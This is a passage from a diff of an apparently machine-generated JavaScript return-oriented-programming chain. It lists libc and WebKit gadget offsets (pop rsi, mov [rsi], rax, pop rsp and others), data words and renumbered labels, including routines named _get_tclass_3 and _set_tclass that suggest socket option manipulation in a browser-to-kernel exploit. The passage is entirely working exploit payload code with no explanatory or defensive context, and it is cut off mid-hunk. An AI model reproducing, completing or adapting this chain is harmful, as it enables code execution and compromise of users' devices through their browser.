+//L2710: db([0, 0]); // 0x0 set_gadgets([ -ropchain+178768, //L2727+24 -ropchain+179216, //L2722 +ropchain+178304, //L2710+24 +ropchain+178752, //L2705 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+178824, //L2729 +ropchain+178344, //L2711 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L2728: +//L2711: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2729: +set_gadget(libc_base+788575,); //pop rax +//L2712: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2730: +//L2713: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+179008, //L2733 +ropchain+178544, //L2716 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179024, //L2734 +ropchain+178560, //L2717 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+178976, //L2731 +ropchain+178528, //L2714 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+178992, //L2732 +ropchain+178512, //L2715 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2731: +//L2715: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2732: +//L2714: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2733: +//L2716: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2734: +//L2717: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+179096, //L2735 +ropchain+178632, //L2718 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179112, //L2736 +ropchain+178648, //L2719 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2735: +//L2718: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2736: +//L2719: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+179208, //L2738 +ropchain+178744, //L2721 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+179192, //L2737 +ropchain+178728, //L2720 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2737: +//L2720: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2738: +//L2721: db([0, 0]); // 0x0 -//L2722: +//L2705: set_gadgets([ libc_base+793877, //pop rsi -ropchain+179272, //L2741 +ropchain+178792, //L2722 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2739: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L2741: +//L2722: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2723: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+179376, //L2744 +ropchain+178912, //L2727 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+179360, //L2743 +ropchain+178896, //L2725 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2743: +//L2725: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2744: +//L2727: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+179544, //L2747 +ropchain+179080, //L2730 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179560, //L2748 +ropchain+179096, //L2731 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+179512, //L2745 +ropchain+179064, //L2728 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+179528, //L2746 +ropchain+179048, //L2729 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2745: +//L2729: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2746: +//L2728: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2747: +//L2730: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2748: +//L2731: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+179632, //L2749 +ropchain+179168, //L2732 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179648, //L2750 +ropchain+179184, //L2733 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2749: +//L2732: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2750: +//L2733: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+179752, //L2751 +ropchain+179288, //L2734 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179784, //L2753 +ropchain+179320, //L2736 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+179768, //L2752 +ropchain+179304, //L2735 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2751: +//L2734: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2752: +//L2735: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2753: +//L2736: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -19399,17 +19332,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+179880, //L2754 +ropchain+179416, //L2737 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179896, //L2755 +ropchain+179432, //L2738 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2754: +//L2737: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2755: +//L2738: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -19419,32 +19352,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+180008, //L2756 +ropchain+179544, //L2739 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179992, //L2757 +ropchain+179528, //L2740 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2757: +//L2740: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2756: +//L2739: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+180096, //L2759 +ropchain+179632, //L2742 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+180080, //L2758 +ropchain+179616, //L2741 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2758: +//L2741: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2759: +//L2742: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -19454,17 +19387,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+180192, //L2760 +ropchain+179728, //L2743 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+180208, //L2761 +ropchain+179744, //L2744 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2760: +//L2743: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2761: +//L2744: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -19474,19 +19407,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+180320, //L2762 +ropchain+179856, //L2745 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+180304, //L2763 +ropchain+179840, //L2746 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2763: +//L2746: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2762: +//L2745: db([0, 0]); // 0x0 -//L2718: +//L2701: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -19702,11 +19635,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+181648, //L2764 +ropchain+181184, //L2747 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2764: +//L2747: db([0, 0]); // 0x0 //_get_tclass_3: set_gadget(libc_base+793877,); //pop rsi @@ -19714,50 +19647,50 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+181720, //L2766 +ropchain+181256, //L2748 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2766: +//L2748: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+181784, //L2768 +ropchain+181320, //L2751 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2768: +//L2751: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2769: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L2771: +//L2752: db([4, 0]); // 0x4 +set_gadget(libc_base+793877,); //pop rsi +//L2753: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+181928, //L2774 +ropchain+181448, //L2755 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2772: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L2774: +//L2755: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2756: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi @@ -19768,14 +19701,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+182032, //L2776 +ropchain+181568, //L2759 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2775: +//L2758: db([4294967292, 4294967295]); // -0x4 set_gadget(libc_base+788575,); //pop rax -//L2776: +//L2759: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -19787,7 +19720,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2777: +//L2760: db([61, 0]); // 0x3d set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19796,7 +19729,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2778: +//L2761: db([41, 0]); // 0x29 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19804,77 +19737,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+182232, //L2781 +ropchain+181752, //L2762 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2779: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L2781: +//L2762: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2763: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+182336, //L2784 +ropchain+181872, //L2767 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+182320, //L2783 +ropchain+181856, //L2765 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2783: +//L2765: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2784: +//L2767: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+182504, //L2787 +ropchain+182040, //L2770 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+182520, //L2788 +ropchain+182056, //L2771 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+182472, //L2785 +ropchain+182024, //L2768 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+182488, //L2786 +ropchain+182008, //L2769 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2785: +//L2769: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2786: +//L2768: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2787: +//L2770: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2788: +//L2771: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+182616, //L2790 +ropchain+182152, //L2773 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+182600, //L2789 +ropchain+182136, //L2772 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2789: +//L2772: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2790: +//L2773: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19882,8 +19815,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2792: -ropchain+182720, //L2791 +//L2775: +ropchain+182256, //L2774 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -19891,8 +19824,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+184712, //L2793 -//L2791: +ropchain+184248, //L2776 +//L2774: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -19900,238 +19833,238 @@ db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+182856, //L2795 +ropchain+182392, //L2778 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+182872, //L2796 +ropchain+182408, //L2779 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+182840, //L2794 +ropchain+182376, //L2777 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2794: +//L2777: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2795: +//L2778: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2796: +//L2779: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+182976, //L2799 +ropchain+182512, //L2782 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+183024, //L2801 +ropchain+182560, //L2784 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+183008, //L2800 +ropchain+182544, //L2783 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2799: +//L2782: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2798: +//L2781: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2800: +//L2783: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2801: +//L2784: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+183136, //L2802+8 +ropchain+182672, //L2785+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+183128, //L2802 +ropchain+182664, //L2785 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2802: +//L2785: db([0, 0]); // 0x0 set_gadgets([ -ropchain+183152, //L2802+24 -ropchain+183600, //L2797 +ropchain+182688, //L2785+24 +ropchain+183136, //L2780 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+183208, //L2804 +ropchain+182728, //L2786 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L2803: +//L2786: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2804: +set_gadget(libc_base+788575,); //pop rax +//L2787: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2805: +//L2788: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+183392, //L2808 +ropchain+182928, //L2791 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+183408, //L2809 +ropchain+182944, //L2792 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+183360, //L2806 +ropchain+182912, //L2789 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+183376, //L2807 +ropchain+182896, //L2790 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2806: +//L2790: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2807: +//L2789: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2808: +//L2791: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2809: +//L2792: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+183480, //L2810 +ropchain+183016, //L2793 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+183496, //L2811 +ropchain+183032, //L2794 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2810: +//L2793: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2811: +//L2794: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+183592, //L2813 +ropchain+183128, //L2796 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+183576, //L2812 +ropchain+183112, //L2795 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2812: +//L2795: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2813: +//L2796: db([0, 0]); // 0x0 -//L2797: +//L2780: set_gadgets([ libc_base+793877, //pop rsi -ropchain+183656, //L2816 +ropchain+183176, //L2797 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2814: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L2816: +//L2797: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2798: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+183760, //L2819 +ropchain+183296, //L2802 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+183744, //L2818 +ropchain+183280, //L2800 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2818: +//L2800: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2819: +//L2802: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+183928, //L2822 +ropchain+183464, //L2805 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+183944, //L2823 +ropchain+183480, //L2806 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+183896, //L2820 +ropchain+183448, //L2803 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+183912, //L2821 +ropchain+183432, //L2804 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2820: +//L2804: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2821: +//L2803: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2822: +//L2805: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2823: +//L2806: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+184016, //L2824 +ropchain+183552, //L2807 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+184032, //L2825 +ropchain+183568, //L2808 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2824: +//L2807: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2825: +//L2808: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+184136, //L2826 +ropchain+183672, //L2809 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+184168, //L2828 +ropchain+183704, //L2811 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+184152, //L2827 +ropchain+183688, //L2810 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2826: +//L2809: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2827: +//L2810: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2828: +//L2811: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -20141,17 +20074,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+184264, //L2829 +ropchain+183800, //L2812 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+184280, //L2830 +ropchain+183816, //L2813 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2829: +//L2812: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2830: +//L2813: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -20161,32 +20094,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+184392, //L2831 +ropchain+183928, //L2814 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+184376, //L2832 +ropchain+183912, //L2815 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2832: +//L2815: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2831: +//L2814: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+184480, //L2834 +ropchain+184016, //L2817 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+184464, //L2833 +ropchain+184000, //L2816 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2833: +//L2816: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2834: +//L2817: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -20196,17 +20129,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+184576, //L2835 +ropchain+184112, //L2818 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+184592, //L2836 +ropchain+184128, //L2819 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2835: +//L2818: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2836: +//L2819: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -20216,19 +20149,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+184704, //L2837 +ropchain+184240, //L2820 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+184688, //L2838 +ropchain+184224, //L2821 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2838: +//L2821: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2837: +//L2820: db([0, 0]); // 0x0 -//L2793: +//L2776: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -20444,11 +20377,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+186032, //L2839 +ropchain+185568, //L2822 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2839: +//L2822: db([0, 0]); // 0x0 //_set_tclass: set_gadget(libc_base+793877,); //pop rsi @@ -20456,25 +20389,25 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+186104, //L2841 +ropchain+185640, //L2823 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2841: +//L2823: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+186176, //L2843 +ropchain+185712, //L2826 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2842: +//L2825: db([4, 0]); // 0x4 set_gadget(webkit_base+432898,); //pop r8 -//L2843: +//L2826: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -20483,14 +20416,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+186272, //L2845 +ropchain+185808, //L2828 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2844: +//L2827: db([24, 0]); // 0x18 set_gadget(libc_base+788575,); //pop rax -//L2845: +//L2828: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -20502,7 +20435,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2846: +//L2829: db([61, 0]); // 0x3d set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -20511,7 +20444,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2847: +//L2830: db([41, 0]); // 0x29 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -20519,77 +20452,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi 